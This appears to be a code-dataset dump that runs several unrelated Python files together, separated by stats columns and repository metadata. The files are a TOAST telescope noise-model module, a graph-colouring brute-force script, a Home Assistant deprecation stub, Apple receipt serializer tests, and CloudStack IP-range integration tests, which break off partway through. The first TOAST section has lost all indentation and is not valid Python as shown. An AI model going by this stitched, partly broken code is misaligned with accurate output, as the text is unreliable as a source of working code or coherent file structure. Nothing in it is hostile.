try:
# Some TOD classes provide a shortcut to Az/El
_, el = tod.read_azel(detector=det)
except Exception:
azelquat = tod.read_pntg(detector=det, azel=True)
# Convert Az/El quaternion of the detector back into
# angles for the simulation.
theta, _ = qa.to_position(azelquat)
el = np.pi / 2 - theta
el = np.median(el)
# Scale the analytical noise PSD. Pivot is at el = 50 deg.
psd[:] *= (A / np.sin(el) + C) ** 2
timer.stop()
if comm.world_rank == 0:
timer.report("Elevation noise")
return
@function_timer
def get_analytic_noise(args, comm, focalplane, verbose=True):
""" Create a TOAST noise object.
Create a noise object from the 1/f noise parameters contained in the
focalplane database.
"""
timer = Timer()
timer.start()
detectors = sorted(focalplane.keys())
fmins = {}
fknees = {}
alphas = {}
NETs = {}
rates = {}
indices = {}
for d in detectors:
rates[d] = args.sample_rate
fmins[d] = focalplane[d]["fmin"]
fknees[d] = focalplane[d]["fknee"]
alphas[d] = focalplane[d]["alpha"]
NETs[d] = focalplane[d]["NET"]
indices[d] = focalplane[d]["index"]
if args.common_mode_noise:
# Add an extra "virtual" detector for common mode noise for
# every optics tube
fmin, fknee, alpha, net = np.array(args.common_mode_noise.split(",")).astype(
np.float64
)
hw = get_example()
for itube, tube in enumerate(sorted(hw.data["tubes"].keys())):
d = "common_mode_{}".format(tube)
detectors.append(d)
rates[d] = args.sample_rate
fmins[d] = fmin
fknees[d] = fknee
alphas[d] = alpha
NETs[d] = net
indices[d] = 100000 + itube
noise = AnalyticNoise(
rate=rates,
fmin=fmins,
detectors=detectors,
fknee=fknees,
alpha=alphas,
NET=NETs,
indices=indices,
)
if args.common_mode_noise:
# Update the mixing matrix in the noise operator
mixmatrix = {}
keys = set()
for det in focalplane.keys():
tube = focalplane[det]["tube"]
common = "common_mode_{}".format(tube)
mixmatrix[det] = {det: 1, common: 1}
keys.add(det)
keys.add(common)
# There should probably be an accessor method to update the
# mixmatrix in the TOAST Noise object.
if noise._mixmatrix is not None:
raise RuntimeError("Did not expect non-empty mixing matrix")
noise._mixmatrix = mixmatrix
noise._keys = list(sorted(keys))
timer.stop()
if comm.world_rank == 0 and verbose:
timer.report("Creating noise model")
return noise
| 30.676471 | 87 | 0.569271 |
import numpy as np
from toast.timing import function_timer, Timer
from toast.tod import AnalyticNoise
from toast.utils import Logger
import toast.qarray as qa
from ...sim_hardware import get_example
def add_so_noise_args(parser):
parser.add_argument(
"--common-mode-noise",
required=False,
help="String defining analytical parameters of a per-tube "
"common mode that is co-added with every detector: "
"'fmin[Hz],fknee[Hz],alpha,NET[K]'",
)
return
@function_timer
def get_elevation_noise(args, comm, data, key="noise"):
timer = Timer()
timer.start()
for obs in data.obs:
tod = obs["tod"]
fp = obs["focalplane"]
noise = obs[key]
for det in tod.local_dets:
if det not in noise.keys:
raise RuntimeError(
'Detector "{}" does not have a PSD in the noise object'.format(det)
)
A = fp[det]["A"]
C = fp[det]["C"]
psd = noise.psd(det)
try:
_, el = tod.read_azel(detector=det)
except Exception:
azelquat = tod.read_pntg(detector=det, azel=True)
theta, _ = qa.to_position(azelquat)
el = np.pi / 2 - theta
el = np.median(el)
psd[:] *= (A / np.sin(el) + C) ** 2
timer.stop()
if comm.world_rank == 0:
timer.report("Elevation noise")
return
@function_timer
def get_analytic_noise(args, comm, focalplane, verbose=True):
timer = Timer()
timer.start()
detectors = sorted(focalplane.keys())
fmins = {}
fknees = {}
alphas = {}
NETs = {}
rates = {}
indices = {}
for d in detectors:
rates[d] = args.sample_rate
fmins[d] = focalplane[d]["fmin"]
fknees[d] = focalplane[d]["fknee"]
alphas[d] = focalplane[d]["alpha"]
NETs[d] = focalplane[d]["NET"]
indices[d] = focalplane[d]["index"]
if args.common_mode_noise:
fmin, fknee, alpha, net = np.array(args.common_mode_noise.split(",")).astype(
np.float64
)
hw = get_example()
for itube, tube in enumerate(sorted(hw.data["tubes"].keys())):
d = "common_mode_{}".format(tube)
detectors.append(d)
rates[d] = args.sample_rate
fmins[d] = fmin
fknees[d] = fknee
alphas[d] = alpha
NETs[d] = net
indices[d] = 100000 + itube
noise = AnalyticNoise(
rate=rates,
fmin=fmins,
detectors=detectors,
fknee=fknees,
alpha=alphas,
NET=NETs,
indices=indices,
)
if args.common_mode_noise:
mixmatrix = {}
keys = set()
for det in focalplane.keys():
tube = focalplane[det]["tube"]
common = "common_mode_{}".format(tube)
mixmatrix[det] = {det: 1, common: 1}
keys.add(det)
keys.add(common)
if noise._mixmatrix is not None:
raise RuntimeError("Did not expect non-empty mixing matrix")
noise._mixmatrix = mixmatrix
noise._keys = list(sorted(keys))
timer.stop()
if comm.world_rank == 0 and verbose:
timer.report("Creating noise model")
return noise
| true | true |
f73c44f95c6fefb227bfb8b8a9c862f05b3c5248 | 1,410 | py | Python | chapter-1/1-9/src/brute_force.py | yuetsin/beauty-of-programming | 5fd66e0fe2a5cba72eaa814abc2304301d44bb37 | [
"CC0-1.0"
] | null | null | null | chapter-1/1-9/src/brute_force.py | yuetsin/beauty-of-programming | 5fd66e0fe2a5cba72eaa814abc2304301d44bb37 | [
"CC0-1.0"
] | null | null | null | chapter-1/1-9/src/brute_force.py | yuetsin/beauty-of-programming | 5fd66e0fe2a5cba72eaa814abc2304301d44bb37 | [
"CC0-1.0"
] | null | null | null | #!/usr/bin/env python
from testcases import gen_random, gen_fake_random
from time import time
begin = time()
RANDOM = True
conf_cnt = 7
if RANDOM:
test_cases = gen_random(10, conf_cnt)
else:
test_cases = gen_fake_random()
def check_valid(colors: list) -> bool:
# check if it's a valid palette
for conflicts in test_cases:
results = [colors[i] for i in conflicts]
if len(set(results)) != len(conflicts):
# conflict exists!
return False
return True
def get_color_count(colors: list) -> int:
# get different color counts in a palette
return len(set(colors))
palettes = [[0]]
for _ in range(1, conf_cnt):
new_palettes = []
for palette in palettes:
for i in range(conf_cnt):
new_palettes.append(palette + [i])
palettes = new_palettes
min_color = conf_cnt
min_palette = []
for palette in palettes:
if not check_valid(palette):
continue
color_count = get_color_count(palette)
if color_count < min_color:
min_color = color_count
min_palette = [palette]
elif color_count == min_color:
min_palette.append(palette)
end = time()
print("Min color count: %d" % min_color)
print("Possible coloring palettes: \n%s" %
('\n'.join([str(p) for p in min_palette])))
print("Min color count: %d" % min_color)
print("\nTime elapsed: %.6fs" % (end - begin))
| 20.434783 | 49 | 0.648227 |
from testcases import gen_random, gen_fake_random
from time import time
begin = time()
RANDOM = True
conf_cnt = 7
if RANDOM:
test_cases = gen_random(10, conf_cnt)
else:
test_cases = gen_fake_random()
def check_valid(colors: list) -> bool:
for conflicts in test_cases:
results = [colors[i] for i in conflicts]
if len(set(results)) != len(conflicts):
# conflict exists!
return False
return True
def get_color_count(colors: list) -> int:
# get different color counts in a palette
return len(set(colors))
palettes = [[0]]
for _ in range(1, conf_cnt):
new_palettes = []
for palette in palettes:
for i in range(conf_cnt):
new_palettes.append(palette + [i])
palettes = new_palettes
min_color = conf_cnt
min_palette = []
for palette in palettes:
if not check_valid(palette):
continue
color_count = get_color_count(palette)
if color_count < min_color:
min_color = color_count
min_palette = [palette]
elif color_count == min_color:
min_palette.append(palette)
end = time()
print("Min color count: %d" % min_color)
print("Possible coloring palettes: \n%s" %
('\n'.join([str(p) for p in min_palette])))
print("Min color count: %d" % min_color)
print("\nTime elapsed: %.6fs" % (end - begin))
| true | true |
f73c46746f02c128c9fd0f5755f4be1f1b9c3cef | 763 | py | Python | homeassistant/components/insteon_local/__init__.py | shanbs/home-assistant | 818776d2b4f11e4f51992dc88bc0a6f9055833b2 | [
"Apache-2.0"
] | 2 | 2017-10-26T19:43:55.000Z | 2017-12-30T23:29:00.000Z | homeassistant/components/insteon_local/__init__.py | shanbs/home-assistant | 818776d2b4f11e4f51992dc88bc0a6f9055833b2 | [
"Apache-2.0"
] | 3 | 2021-09-08T03:29:36.000Z | 2022-03-12T00:59:48.000Z | homeassistant/components/insteon_local/__init__.py | shanbs/home-assistant | 818776d2b4f11e4f51992dc88bc0a6f9055833b2 | [
"Apache-2.0"
] | 1 | 2019-09-28T07:06:08.000Z | 2019-09-28T07:06:08.000Z | """Local support for Insteon."""
import logging
_LOGGER = logging.getLogger(__name__)
def setup(hass, config):
"""Set up the insteon_local component.
This component is deprecated as of release 0.77 and should be removed in
release 0.90.
"""
_LOGGER.warning('The insteon_local component has been replaced by '
'the insteon component')
_LOGGER.warning('Please see https://home-assistant.io/components/insteon')
hass.components.persistent_notification.create(
'insteon_local has been replaced by the insteon component.<br />'
'Please see https://home-assistant.io/components/insteon',
title='insteon_local Component Deactivated',
notification_id='insteon_local')
return False
| 31.791667 | 78 | 0.70118 | import logging
_LOGGER = logging.getLogger(__name__)
def setup(hass, config):
_LOGGER.warning('The insteon_local component has been replaced by '
'the insteon component')
_LOGGER.warning('Please see https://home-assistant.io/components/insteon')
hass.components.persistent_notification.create(
'insteon_local has been replaced by the insteon component.<br />'
'Please see https://home-assistant.io/components/insteon',
title='insteon_local Component Deactivated',
notification_id='insteon_local')
return False
| true | true |
f73c46e4bca3b6fac91467735b1af42c3a57813d | 3,722 | py | Python | km_api/know_me/tests/serializers/test_apple_receipt_query_serializer.py | knowmetools/km-api | e4b72484c42e88a6c0087c9b1d5fef240e66cbb0 | [
"Apache-2.0"
] | 4 | 2017-08-03T00:46:31.000Z | 2018-11-06T03:32:32.000Z | km_api/know_me/tests/serializers/test_apple_receipt_query_serializer.py | knowmetools/km-api | e4b72484c42e88a6c0087c9b1d5fef240e66cbb0 | [
"Apache-2.0"
] | 526 | 2017-06-27T18:13:59.000Z | 2021-06-10T18:00:21.000Z | km_api/know_me/tests/serializers/test_apple_receipt_query_serializer.py | knowmetools/km-api | e4b72484c42e88a6c0087c9b1d5fef240e66cbb0 | [
"Apache-2.0"
] | 1 | 2017-07-10T19:46:27.000Z | 2017-07-10T19:46:27.000Z | from unittest import mock
import pytest
from rest_framework.exceptions import ValidationError as DRFValidationError
from know_me import models
from know_me.serializers import subscription_serializers
from know_me.subscriptions import ReceiptException, AppleTransaction
def test_save():
"""
The save method of the serializer should be a no-op and thus
callable from an empty serializer.
"""
serializer = subscription_serializers.AppleReceiptQuerySerializer()
serializer.save()
def test_validate_in_use(mock_apple_receipt_qs):
"""
If there is an existing Apple receipt with the same original
transaction ID as the submitted receipt, the validated data's
``is_used`` flag should be ``True`` and the ``email`` field should
be populated.
"""
email = "test@example.com"
email_inst = mock.Mock()
email_inst.email = email
receipt = mock.Mock()
type(receipt.subscription.user).primary_email = mock.PropertyMock(
return_value=email_inst
)
mock_apple_receipt_qs.get.return_value = receipt
serializer = subscription_serializers.AppleReceiptQuerySerializer()
serializer._receipt_info = AppleTransaction(
{"original_transaction_id": receipt.transaction_id}, "foo"
)
validated = serializer.validate({"receipt_data": "foo"})
assert validated["email"] == email
assert validated["is_used"]
assert mock_apple_receipt_qs.get.call_args[1] == {
"transaction_id": serializer._receipt_info.original_transaction_id
}
def test_validate_not_used(mock_apple_receipt_qs):
"""
If there is not an existing Apple receipt with the same original
transaction ID as the submitted receipt, the validated data's
``is_used`` flag should be ``False`` and the ``email`` field should
not be populated.
"""
mock_apple_receipt_qs.get.side_effect = models.AppleReceipt.DoesNotExist
serializer = subscription_serializers.AppleReceiptQuerySerializer()
serializer._receipt_info = AppleTransaction(
{"original_transaction_id": "abc"}, "foo"
)
validated = serializer.validate({"receipt_data": "foo"})
assert validated["email"] is None
assert not validated["is_used"]
assert mock_apple_receipt_qs.get.call_args[1] == {
"transaction_id": serializer._receipt_info.original_transaction_id
}
@mock.patch(
"know_me.serializers.subscription_serializers.subscriptions.validate_apple_receipt", # noqa
autospec=True,
)
def test_validate_receipt_data_invalid(mock_validate):
"""
If the provided receipt data is invalid, a validation error should
be raised with the information from the receipt validation error.
"""
exception = ReceiptException("foo", "bar")
mock_validate.side_effect = exception
serializer = subscription_serializers.AppleReceiptQuerySerializer()
with pytest.raises(DRFValidationError) as exc_info:
serializer.validate_receipt_data("baz")
assert exc_info.value.detail[0] == exception.msg
assert exc_info.value.detail[0].code == exception.code
@mock.patch(
"know_me.serializers.subscription_serializers.subscriptions.validate_apple_receipt", # noqa
autospec=True,
)
def test_validate_receipt_data_valid(mock_validate):
"""
If the provided apple receipt is valid, validating it should persist
the receipt's data within the serializer.
"""
receipt_data = "foo"
serializer = subscription_serializers.AppleReceiptQuerySerializer()
result = serializer.validate_receipt_data(receipt_data)
assert result == receipt_data
assert mock_validate.call_args[0] == (receipt_data,)
assert serializer._receipt_info == mock_validate.return_value
| 33.232143 | 96 | 0.742074 | from unittest import mock
import pytest
from rest_framework.exceptions import ValidationError as DRFValidationError
from know_me import models
from know_me.serializers import subscription_serializers
from know_me.subscriptions import ReceiptException, AppleTransaction
def test_save():
serializer = subscription_serializers.AppleReceiptQuerySerializer()
serializer.save()
def test_validate_in_use(mock_apple_receipt_qs):
email = "test@example.com"
email_inst = mock.Mock()
email_inst.email = email
receipt = mock.Mock()
type(receipt.subscription.user).primary_email = mock.PropertyMock(
return_value=email_inst
)
mock_apple_receipt_qs.get.return_value = receipt
serializer = subscription_serializers.AppleReceiptQuerySerializer()
serializer._receipt_info = AppleTransaction(
{"original_transaction_id": receipt.transaction_id}, "foo"
)
validated = serializer.validate({"receipt_data": "foo"})
assert validated["email"] == email
assert validated["is_used"]
assert mock_apple_receipt_qs.get.call_args[1] == {
"transaction_id": serializer._receipt_info.original_transaction_id
}
def test_validate_not_used(mock_apple_receipt_qs):
mock_apple_receipt_qs.get.side_effect = models.AppleReceipt.DoesNotExist
serializer = subscription_serializers.AppleReceiptQuerySerializer()
serializer._receipt_info = AppleTransaction(
{"original_transaction_id": "abc"}, "foo"
)
validated = serializer.validate({"receipt_data": "foo"})
assert validated["email"] is None
assert not validated["is_used"]
assert mock_apple_receipt_qs.get.call_args[1] == {
"transaction_id": serializer._receipt_info.original_transaction_id
}
@mock.patch(
"know_me.serializers.subscription_serializers.subscriptions.validate_apple_receipt",
autospec=True,
)
def test_validate_receipt_data_invalid(mock_validate):
exception = ReceiptException("foo", "bar")
mock_validate.side_effect = exception
serializer = subscription_serializers.AppleReceiptQuerySerializer()
with pytest.raises(DRFValidationError) as exc_info:
serializer.validate_receipt_data("baz")
assert exc_info.value.detail[0] == exception.msg
assert exc_info.value.detail[0].code == exception.code
@mock.patch(
"know_me.serializers.subscription_serializers.subscriptions.validate_apple_receipt",
autospec=True,
)
def test_validate_receipt_data_valid(mock_validate):
receipt_data = "foo"
serializer = subscription_serializers.AppleReceiptQuerySerializer()
result = serializer.validate_receipt_data(receipt_data)
assert result == receipt_data
assert mock_validate.call_args[0] == (receipt_data,)
assert serializer._receipt_info == mock_validate.return_value
| true | true |
f73c470d00371596cf333d485c4d1984dc10e3ac | 26,899 | py | Python | test/integration/component/maint/test_multiple_ip_ranges.py | primechuck/cloudstack | 4e4be25894621b82ad394449db9442323ab346c7 | [
"Apache-2.0",
"MIT"
] | null | null | null | test/integration/component/maint/test_multiple_ip_ranges.py | primechuck/cloudstack | 4e4be25894621b82ad394449db9442323ab346c7 | [
"Apache-2.0",
"MIT"
] | 6 | 2020-11-16T20:46:02.000Z | 2022-02-01T01:06:41.000Z | test/integration/component/maint/test_multiple_ip_ranges.py | primechuck/cloudstack | 4e4be25894621b82ad394449db9442323ab346c7 | [
"Apache-2.0",
"MIT"
] | null | null | null | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
""" Tests for Multiple IP Ranges feature
"""
from marvin.cloudstackTestCase import cloudstackTestCase, unittest
from marvin.lib.utils import cleanup_resources, get_process_status
from marvin.lib.base import (Account,
DiskOffering,
VirtualMachine,
Router,
ServiceOffering,
PublicIpRange)
from marvin.lib.common import (get_domain,
get_zone,
list_routers,
list_hosts,
get_pod,
get_template)
import netaddr
from nose.plugins.attrib import attr
from netaddr import IPNetwork, IPAddress
from marvin.sshClient import SshClient
import random
class TestMultipleIpRanges(cloudstackTestCase):
"""Test Multiple IP Ranges for guest network
"""
@classmethod
def setUpClass(cls):
cls.testClient = super(TestMultipleIpRanges, cls).getClsTestClient()
cls.api_client = cls.testClient.getApiClient()
cls.dbclient = cls.testClient.getDbConnection()
cls.testdata = cls.testClient.getParsedTestDataConfig()
# Get Zone, Domain and templates
cls.domain = get_domain(cls.api_client)
cls.zone = get_zone(cls.api_client, cls.testClient.getZoneForTests())
cls.pod = get_pod(cls.api_client, cls.zone.id)
cls.testdata['mode'] = cls.zone.networktype
cls.testdata["domainid"] = cls.domain.id
cls.testdata["zoneid"] = cls.zone.id
cls.account = Account.create(
cls.api_client,
cls.testdata["account"],
domainid=cls.domain.id
)
cls.testdata["account"] = cls.account.name
cls.disk_offering = DiskOffering.create(
cls.api_client,
cls.testdata["disk_offering"]
)
cls.service_offering = ServiceOffering.create(
cls.api_client,
cls.testdata["service_offering"]
)
cls.template = get_template(
cls.api_client,
cls.zone.id,
cls.testdata["ostype"]
)
cls.testdata["diskoffering"] = cls.disk_offering.id
cls.dc_id = cls.dbclient.execute(
"select id from data_center where uuid = '%s';" % str(
cls.testdata["zoneid"]))
cls.dc_id = cls.dc_id[0][0]
cls.ids = cls.dbclient.execute(
"select id from user_ip_address where allocated is null and data_center_id = '%s';" % str(
cls.dc_id))
cls.id_list = []
for i in range(len(cls.ids)):
cls.id_list.append(cls.ids[i][0])
# Check if VR is already present in the setup
vr_list = Router.list(cls.api_client, listall='true')
cls.debug("vr list {}".format(vr_list))
if isinstance(vr_list, list) and len(vr_list) > 0:
cls.debug("VR is running in the setup")
cls.vr_state = True
else:
cls.debug("VR is not present in the setup")
cls.vr_state = False
cls.id_list = cls.id_list[:-2]
for id in cls.id_list:
cls.dbclient.execute(
"update user_ip_address set allocated=now() where id = '%s';" %
str(id))
# create new vlan ip range
# Before creating ip range check the zone's network type
if cls.zone.networktype.lower() == 'basic':
cls.new_vlan = cls.createNewVlanRange()
else:
raise unittest.SkipTest(
"These tests can be run only on basic zone.\
So skipping the tests")
# Deploy vm in existing subnet if VR is not present
if cls.vr_state is False:
cls.vm_res = VirtualMachine.create(
cls.api_client,
cls.testdata["server_without_disk"],
templateid=cls.template.id,
accountid=cls.account.name,
domainid=cls.testdata["domainid"],
zoneid=cls.testdata["zoneid"],
serviceofferingid=cls.service_offering.id,
mode=cls.testdata["mode"],
)
cls._cleanup = [
cls.new_vlan,
cls.account,
]
return
@classmethod
def createNewVlanRange(cls):
""" Increment current cidr of vlan range present in network
and create new range
"""
publicIpRange = PublicIpRange.list(cls.api_client)
cls.startIp = publicIpRange[0].startip
cls.endIp = publicIpRange[0].endip
cls.gateway = publicIpRange[0].gateway
cls.netmask = publicIpRange[0].netmask
# Pass ip address and mask length to IPNetwork to findout the CIDR
ip = IPNetwork(cls.startIp + "/" + cls.netmask)
# Take random increment factor to avoid adding the same vlan ip range
# in each test case
networkIncrementFactor = random.randint(1,255)
new_cidr = ip.__iadd__(networkIncrementFactor)
ip2 = IPNetwork(new_cidr)
test_nw = ip2.network
ip = IPAddress(test_nw)
# Add IP range(5 IPs) in the new CIDR
test_gateway = ip.__add__(1)
test_startIp = ip.__add__(3)
test_endIp = ip.__add__(10)
# Populating services with new IP range
cls.testdata["vlan_ip_range"]["startip"] = test_startIp
cls.testdata["vlan_ip_range"]["endip"] = test_endIp
cls.testdata["vlan_ip_range"]["gateway"] = test_gateway
cls.testdata["vlan_ip_range"]["netmask"] = cls.netmask
cls.testdata["vlan_ip_range"]["zoneid"] = cls.zone.id
cls.testdata["vlan_ip_range"]["podid"] = cls.pod.id
return PublicIpRange.create(
cls.api_client,
cls.testdata["vlan_ip_range"])
@classmethod
def tearDownClass(cls):
try:
for id in cls.id_list:
cls.dbclient.execute(
"update user_ip_address set allocated=default where id = '%s';" %
str(id))
# Cleanup resources used
cleanup_resources(cls.api_client, cls._cleanup)
except Exception as e:
raise Exception("Warning: Exception during cleanup : %s" % e)
return
def setUp(self):
self.apiclient = self.testClient.getApiClient()
self.dbclient = self.testClient.getDbConnection()
self.cleanup = []
# Deploy guest vm
try:
self.virtual_machine = VirtualMachine.create(
self.apiclient,
self.testdata["server_without_disk"],
templateid=self.template.id,
accountid=self.account.name,
domainid=self.testdata["domainid"],
zoneid=self.testdata["zoneid"],
serviceofferingid=self.service_offering.id,
mode=self.testdata["mode"],
)
except Exception as e:
raise Exception(
"Warning: Exception during vm deployment: {}".format(e))
self.vm_response = VirtualMachine.list(
self.apiclient,
id=self.virtual_machine.id
)
self.assertEqual(
isinstance(self.vm_response, list),
True,
"Check VM list response returned a valid list"
)
self.ip_range = list(
netaddr.iter_iprange(
unicode(
self.testdata["vlan_ip_range"]["startip"]), unicode(
self.testdata["vlan_ip_range"]["endip"])))
self.nic_ip = netaddr.IPAddress(
unicode(
self.vm_response[0].nic[0].ipaddress))
self.debug("vm got {} as ip address".format(self.nic_ip))
self.assertIn(
self.nic_ip,
self.ip_range,
"VM did not get the ip address from the new ip range"
)
ip_alias = self.dbclient.execute(
"select ip4_address from nic_ip_alias;"
)
self.alias_ip = str(ip_alias[0][0])
self.debug("alias ip : %s" % self.alias_ip)
self.assertNotEqual(
self.alias_ip,
None,
"Error in creating ip alias. Please check MS logs"
)
self.cleanup.append(self.virtual_machine)
return
def tearDown(self):
try:
# Clean up, terminate the resources created
cleanup_resources(self.apiclient, self.cleanup)
except Exception as e:
raise Exception("Warning: Exception during cleanup : %s" % e)
return
def verify_vlan_range(self, vlan, services):
# compare vlan_list response with configured values
self.assertEqual(
isinstance(vlan, list),
True,
"Check list response returned a valid list"
)
self.assertNotEqual(
len(vlan),
0,
"check list vlan response"
)
self.assertEqual(
str(vlan[0].startip),
str(services["startip"]),
"Start IP in vlan ip range is not matched with the\
configured start ip"
)
self.assertEqual(
str(vlan[0].endip),
str(services["endip"]),
"End IP in vlan ip range is not matched with the configured end ip"
)
self.assertEqual(
str(vlan[0].gateway),
str(services["gateway"]),
"gateway in vlan ip range is not matched with the\
configured gateway"
)
self.assertEqual(
str(vlan[0].netmask),
str(services["netmask"]),
"netmask in vlan ip range is not matched with\
the configured netmask"
)
return
@attr(tags=["sg"])
def test_01_deploy_vm_in_new_cidr(self):
"""Deploy guest vm after adding guest IP range in new CIDR
1.Deploy guest vm
2.Verify vm gets the ip address from new cidr
"""
self.ip_range = list(
netaddr.iter_iprange(
unicode(
self.testdata["vlan_ip_range"]["startip"]), unicode(
self.testdata["vlan_ip_range"]["endip"])))
self.nic_ip = netaddr.IPAddress(
unicode(
self.vm_response[0].nic[0].ipaddress))
self.debug("vm got {} as ip address".format(self.nic_ip))
self.assertIn(
self.nic_ip,
self.ip_range,
"VM did not get the ip address from the new ip range"
)
return
@attr(tags=["sg"])
def test_02_dns_service_on_alias_ip(self):
"""Deploy guest vm in new CIDR and verify dns service on alias ip
1.Deploy guest vm in new cidr
2.Verify dns service listens on alias ip in VR
"""
list_router_response = list_routers(
self.apiclient,
zoneid=self.zone.id,
listall=True
)
self.assertEqual(
isinstance(list_router_response, list),
True,
"Check list response returns a valid list"
)
router = list_router_response[0]
hosts = list_hosts(
self.apiclient,
zoneid=router.zoneid,
type='Routing',
state='Up',
id=router.hostid
)
self.assertEqual(
isinstance(hosts, list),
True,
"Check list host returns a valid list"
)
host = hosts[0]
self.debug("Router ID: %s, state: %s" % (router.id, router.state))
self.assertEqual(
router.state,
'Running',
"Check list router response for router state"
)
port = self.testdata['configurableData']['host']["publicport"]
username = self.testdata['configurableData']['host']["username"]
password = self.testdata['configurableData']['host']["password"]
# SSH to host so that host key is saved in first
# attempt
SshClient(host.ipaddress, port, username, password)
proc = self.alias_ip + ":53"
result = get_process_status(
host.ipaddress,
port,
username,
password,
router.linklocalip,
"netstat -atnp | grep %s" % proc
)
res = str(result)
self.debug("Dns process status on alias ip: %s" % res)
self.assertNotEqual(
res.find(proc)
- 1,
"dnsmasq service is not running on alias ip"
)
return
@attr(tags=["sg"])
def test_03_passwd_service_on_alias_IP(self):
"""Deploy guest vm in new CIDR and verify passwd service on alias ip
1.Deploy guest vm in new cidr
2.Verify password service(socat) listens on alias ip in VR
"""
list_router_response = list_routers(
self.apiclient,
zoneid=self.zone.id,
listall=True
)
self.assertEqual(
isinstance(list_router_response, list),
True,
"Check list response returns a valid list"
)
router = list_router_response[0]
hosts = list_hosts(
self.apiclient,
zoneid=router.zoneid,
type='Routing',
state='Up',
id=router.hostid
)
self.assertEqual(
isinstance(hosts, list),
True,
"Check list host returns a valid list"
)
host = hosts[0]
self.debug("Router ID: %s, state: %s" % (router.id, router.state))
self.assertEqual(
router.state,
'Running',
"Check list router response for router state"
)
port = self.testdata['configurableData']['host']["publicport"]
username = self.testdata['configurableData']['host']["username"]
password = self.testdata['configurableData']['host']["password"]
# SSH to host so that host key is saved in first
# attempt
SshClient(host.ipaddress, port, username, password)
proc = "socat"
result = get_process_status(
host.ipaddress,
port,
username,
password,
router.linklocalip,
"netstat -atnp | grep %s" % proc
)
res = str(result)
self.debug("password process status on VR: %s" % res)
self.assertNotEqual(
res.find(self.alias_ip)
- 1,
"password service is not running on alias ip"
)
return
@attr(tags=["sg"])
def test_04_userdata_service_on_alias_IP(self):
"""Deploy guest vm in new CIDR and verify userdata service on alias ip
1.Deploy guest vm in new cidr
2.Verify userdata service(apache2) listens on alias ip in VR
"""
list_router_response = list_routers(
self.apiclient,
zoneid=self.zone.id,
listall=True
)
self.assertEqual(
isinstance(list_router_response, list),
True,
"Check list response returns a valid list"
)
router = list_router_response[0]
hosts = list_hosts(
self.apiclient,
zoneid=router.zoneid,
type='Routing',
state='Up',
id=router.hostid
)
self.assertEqual(
isinstance(hosts, list),
True,
"Check list host returns a valid list"
)
host = hosts[0]
self.debug("Router ID: %s, state: %s" % (router.id, router.state))
self.assertEqual(
router.state,
'Running',
"Check list router response for router state"
)
port = self.testdata['configurableData']['host']["publicport"]
username = self.testdata['configurableData']['host']["username"]
password = self.testdata['configurableData']['host']["password"]
# SSH to host so that host key is saved in first
# attempt
SshClient(host.ipaddress, port, username, password)
proc = "apache2"
result = get_process_status(
host.ipaddress,
port,
username,
password,
router.linklocalip,
"netstat -atnp | grep %s" % proc
)
res = str(result)
self.debug("userdata process status on VR: %s" % res)
self.assertNotEqual(
res.find(self.alias_ip + ":80 ")
- 1,
"password service is not running on alias ip"
)
return
@attr(tags=["sg"])
def test_05_del_cidr_verify_alias_removal(self):
"""Destroy lastvm in the CIDR and verifly alias removal
1.Deploy guest vm in new cidr
2.Verify ip alias creation
3.Destroy vm and wait for it to expunge
4.Verify ip alias removal after vm expunge
"""
list_router_response = list_routers(
self.apiclient,
zoneid=self.zone.id,
listall=True
)
self.assertEqual(
isinstance(list_router_response, list),
True,
"Check list response returns a valid list"
)
router = list_router_response[0]
hosts = list_hosts(
self.apiclient,
zoneid=router.zoneid,
type='Routing',
state='Up',
id=router.hostid
)
self.assertEqual(
isinstance(hosts, list),
True,
"Check list host returns a valid list"
)
host = hosts[0]
self.debug("Router ID: %s, state: %s" % (router.id, router.state))
self.assertEqual(
router.state,
'Running',
"Check list router response for router state"
)
port = self.testdata['configurableData']['host']["publicport"]
username = self.testdata['configurableData']['host']["username"]
password = self.testdata['configurableData']['host']["password"]
# SSH to host so that host key is saved in first
# attempt
SshClient(host.ipaddress, port, username, password)
proc = "ip addr show eth0"
result = get_process_status(
host.ipaddress,
port,
username,
password,
router.linklocalip,
proc
)
res = str(result)
self.debug("ip alias configuration on VR: %s" % res)
self.assertNotEqual(
res.find(self.alias_ip)
- 1,
"ip alias is not created on VR eth0"
)
self.virtual_machine.delete(self.apiclient)
self.debug(
"Verify that expunging the last vm in the CIDR should\
delete the ip alias from VR")
ip_alias2 = self.dbclient.execute(
"select ip4_address from nic_ip_alias;"
)
self.assertEqual(
isinstance(ip_alias2, list),
True,
"Error in sql query"
)
self.assertEqual(
len(ip_alias2),
0,
"Failure in clearing ip alias entry from cloud db"
)
proc = "ip addr show eth0"
result = get_process_status(
host.ipaddress,
port,
username,
password,
router.linklocalip,
proc
)
res = str(result)
self.assertEqual(
res.find(
self.alias_ip),
- 1,
"Failed to clean up ip alias from VR even after\
last vm expunge in the CIDR")
self.debug("IP alias got deleted from VR successfully.")
self.cleanup.remove(self.virtual_machine)
return
@attr(tags=["sg"])
def test_06_reboot_VR_verify_ip_alias(self):
"""Reboot VR and verify ip alias
1.Deploy guest vm in new cidr
2.Verify ip alias creation
3.Reboot VR
4.Verify ip alias on VR
"""
list_router_response = list_routers(
self.apiclient,
zoneid=self.zone.id,
listall=True
)
self.assertEqual(
isinstance(list_router_response, list),
True,
"Check list response returns a valid list"
)
router = list_router_response[0]
hosts = list_hosts(
self.apiclient,
zoneid=router.zoneid,
type='Routing',
state='Up',
id=router.hostid
)
self.assertEqual(
isinstance(hosts, list),
True,
"Check list host returns a valid list"
)
host = hosts[0]
self.debug("Router ID: %s, state: %s" % (router.id, router.state))
self.assertEqual(
router.state,
'Running',
"Check list router response for router state"
)
port = self.testdata['configurableData']['host']["publicport"]
username = self.testdata['configurableData']['host']["username"]
password = self.testdata['configurableData']['host']["password"]
# SSH to host so that host key is saved in first
# attempt
SshClient(host.ipaddress, port, username, password)
proc = "ip addr show eth0"
result = get_process_status(
host.ipaddress,
port,
username,
password,
router.linklocalip,
proc
)
res = str(result)
self.debug("ip alias configuration on VR: %s" % res)
self.assertNotEqual(
res.find(self.alias_ip)
- 1,
